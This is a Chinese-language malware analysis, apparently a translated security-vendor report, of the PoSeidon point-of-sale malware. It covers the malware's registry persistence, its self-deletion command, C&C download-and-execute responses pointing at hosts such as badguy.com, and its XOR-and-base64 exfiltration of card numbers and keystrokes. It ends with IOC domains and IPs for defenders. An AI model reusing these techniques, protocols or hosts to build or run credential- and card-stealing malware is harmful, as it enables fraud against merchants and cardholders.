思科安全解决方案(CSS)的研究人员们最近发现了一款新的针对PoS系统的恶意软件PoSeidon,这款恶意软件极为复杂,被称为是迄今为止最为复杂的PoS恶意软件。
当顾客在零售店购买商品时可能会用到PoS系统。使用信用卡或者借记卡,PoS系统就会读取信用卡背面磁条上储存的信息。一旦信息从商家处被窃取,它就能被编码进磁条,从而做出一张新卡。黑市会有卖这种信息,因为攻击者能够轻易地将窃取到的信用卡数据变现。涉及PoS恶意软件的事件数量一直在上升,影响了那些大公司,也影响了那些夫妻作坊式的小店,还吸引了很多媒体的关注。正是因为存在大量金融和个人信息,这些公司和PoS系统会一直成为对攻击者们极富吸引力的目标。
今天要介绍的是一款新的针对PoS系统的恶意软件,这款软件会在PoS内存中寻找信用卡信息,并将这些信息发送到服务器,服务器使用了。ru顶级域名,这些信息可能会被重新卖出去。这个新的恶意软件家族(我们取名为PoSeidon)中有些组件,如下图所示:
首先它会加载Loader,它会试图留存在目标系统中,防止系统重启。Loader之后会联系命令与控制(command and control)服务器,接收一个包含另一个程序的URL,并下载执行。下载下来的程序是FindStr,它会安装一个键盘记录器,并且在PoS设备中扫描数字序列,这些数字序列就有可能是信用卡号码。如果经过验证,这些数字确实是信用卡号码,键盘记录和信用卡号码就会被编码并发送到一个服务器。
键盘记录器
这个文件的SHA256校验值是334079dc9fa5b06fbd68e81de903fcd4e356b4f2d0e8bbd6bdca7891786c39d4,可能是PoS系统攻击的源头。我们把这个文件叫做键盘记录器(KeyLogger)是基于它的调试信息:
一旦被执行,这个文件就会把自身复制到%SystemRoot%\system32\<filename>.exe或者是%UserProfile%\<filename>.exe,并在HKLM(或者HKCU)\Software\Microsoft\Windows\CurrentVersion\Run处加入注册表项。
这个文件还会打开HKCU\Software\ LogMeIn Ignition,打开并删除PasswordTicket键值,获取Email键值,它还会删除注册表目录树HKCU\Software\LogMeInIgnition\<key>\Profiles\*。
文件会使用POST方法把数据发送到下列URI中的一个地址:
wondertechmy[.]com/pes/viewtopic.php
wondertechmy[.]ru/pes/viewtopic.php
wondwondnew[.]ru/pes/viewtopic.php
URI格式是
uid=%I64u&win=%d.%d&vers=%s
键盘记录器组件是用来窃取密码的,也有可能是感染机器的初始途径。
Loader
我们把这个文件叫做loader是基于它的调试信息:
一经运行,Loader会检查它是不是以以下两个文件名执行的:
WinHost.exe
WinHost32.exe
如果不是,它就会确保没有以WinHost名字正在运行的Windows服务。Loader会将自身复制到%SystemRoot%\System32\WinHost.exe,覆盖掉那里任何可能以相同名字命名的文件。接下来,Loader会启动一个名为WinHost的服务。
之所以要这么做是因为即使当前用户注销,它也要留在内存中。如果Loader不能将自己变成服务,它就会把在内存中的自己的其他实例终止掉。然后将自身复制到%UserProfile%\WinHost32.exe,并且安装注册表键HKCU\Microsoft\Windows\CurrentVersion\Run\\WinHost32。最后,它会创建一个新进程执行%UserProfile%\WinHost32.exe。
既然现在它可以一直留在系统中了,Loader就会执行下面的命令将自己删除:
cmd.exe /c del <path_to_itself> >> NUL在内存中运行的Loader会尝试读取%SystemRoot%\System32\WinHost.exe.cfg这里的配置文件。这份文件中有一个URL列表,这些URL列表是要被加到已经被硬编码到Loader的URL列表里的。
然后Loader会联系其中某个被硬编码的C&C服务器:
linturefa.com
xablopefgr.com
tabidzuwek.com
lacdileftre.ru
tabidzuwek.com
xablopefgr.com
lacdileftre.ru
weksrubaz.ru
linturefa.ru
mifastubiv.ru
xablopefgr.ru
tabidzuwek.ru
对应的IP地址:
151.236.11.167
185.13.32.132
185.13.32.48
REDACTED at request of Federal Law Enforcement31.184.192.19691.220.131.116
91.220.131.87
如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:
Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)POST数据会被发送到:
<IP ADDRESS>/ldl01/viewtopic.php
<IP ADDRESS>/pes2/viewtopic.php
POST数据格式为:
uid=%I64u&uinfo=%s&win=%d.%d&bits=%d&vers=%s&build=%s
Loader应从C&C服务器获取这样的回应:
{<命令字符(CommandLetter)>:<参数(ArgumentString)>}
示例:
{R:http://badguy.com/malwarefilename.exe}
{b:pes13n|373973303|https://01.220.131.116/ldl01/files/pes13n.exe}
获取和执行了服务器响应中的可执行文件,PoSeidon的第二部分登场了。
FindStr
我们把这个文件叫做FindStr是基于它的调试信息:
这个文件会在系统中安装一个很小的键盘记录器,这个键盘记录器和这里的描述极为相似。这个键盘记录器截获的数据稍后会被发送至服务器。
这个恶意软件会在内存中寻找特定的数字序列:
以6, 5, 4开头的16位数字 (Discover, Visa, Mastercard信用卡)以3开头的15位数字(AMEX信用卡)然后它会使用Luhn算法验证这些数字是不是真的信用卡或借记卡号码,代码片段如下:
接下来,它会尝试解析下面的这些域名,其中有些域名是很有名的数据窃取服务器:
quartlet.com
horticartf.com
kilaxuntf.ru
dreplicag.ru
fimzusoln.ru
wetguqan.ru
如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:
Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)POST数据会被发送到:
<IPADDRESS>/pes13/viewtopic.php
数据格式为:
oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s
可选的POST数据(data:信用卡号码,logs:键盘记录数据)&data=<与0x2A 进行了XOR运算,然后再base64编码的数据>&logs=<与0x2A进行了XOR运算,然后再base64编码的数据>发送到服务器上的信用卡号码和键盘记录器的数据都是经过XOR运算并且用base64编码了的。
服务器的回应应该是:
这个机制可以让恶意软件根据从服务器收到的指令进行自我更新。
Loader vs FindStr
使用Bindiff对未打包的Loader(版本11.4 )和未打包的FindStr(版本7.1)进行对比,结果显示62%的函数相同。恶意软件背后的攻击者可能开发了某些核心函数,并将它们编译进库,然后他们开发的其他项目可以直接使用这些函数了。
IOC
点击查看终端IOC版本
Win.Trojan.PoSeidon.RegistryItem.ioc
Win.Trojan.PoSeidon.ProcessItem.ioc
Win.Trojan.PoSeidon.FileItem.ioc
域名
linturefa.com
xablopefgr.com
tabidzuwek.com
linturefa.ru
xablopefgr.ru
tabidzuwek.ru
weksrubaz.ru
mifastubiv.ru
lacdileftre.ru
quartlet.com
horticartf.com
kilaxuntf.ru
dreplicag.ru
fimzusoln.ru
wetguqan.ru
IP地址:
151.236.11.167
185.13.32.132
185.13.32.48
REDACTED at request of Federal Law Enforcement31.184.192.19691.220.131.116
91.220.131.87
REDACTED at request of Federal Law Enforcement
PoSeidon是又一个针对PoS系统的恶意软件,它显示出其作者的高超技术。攻击者会继续针对PoS系统进行攻击,并且使用各种混淆手段逃避检测。只要PoS攻击能够提供回报,攻击者们就会继续研发新的恶意软件。网络管理员们应该要保持警惕,并且使用最佳解决方案保证免受这些恶意软件的攻击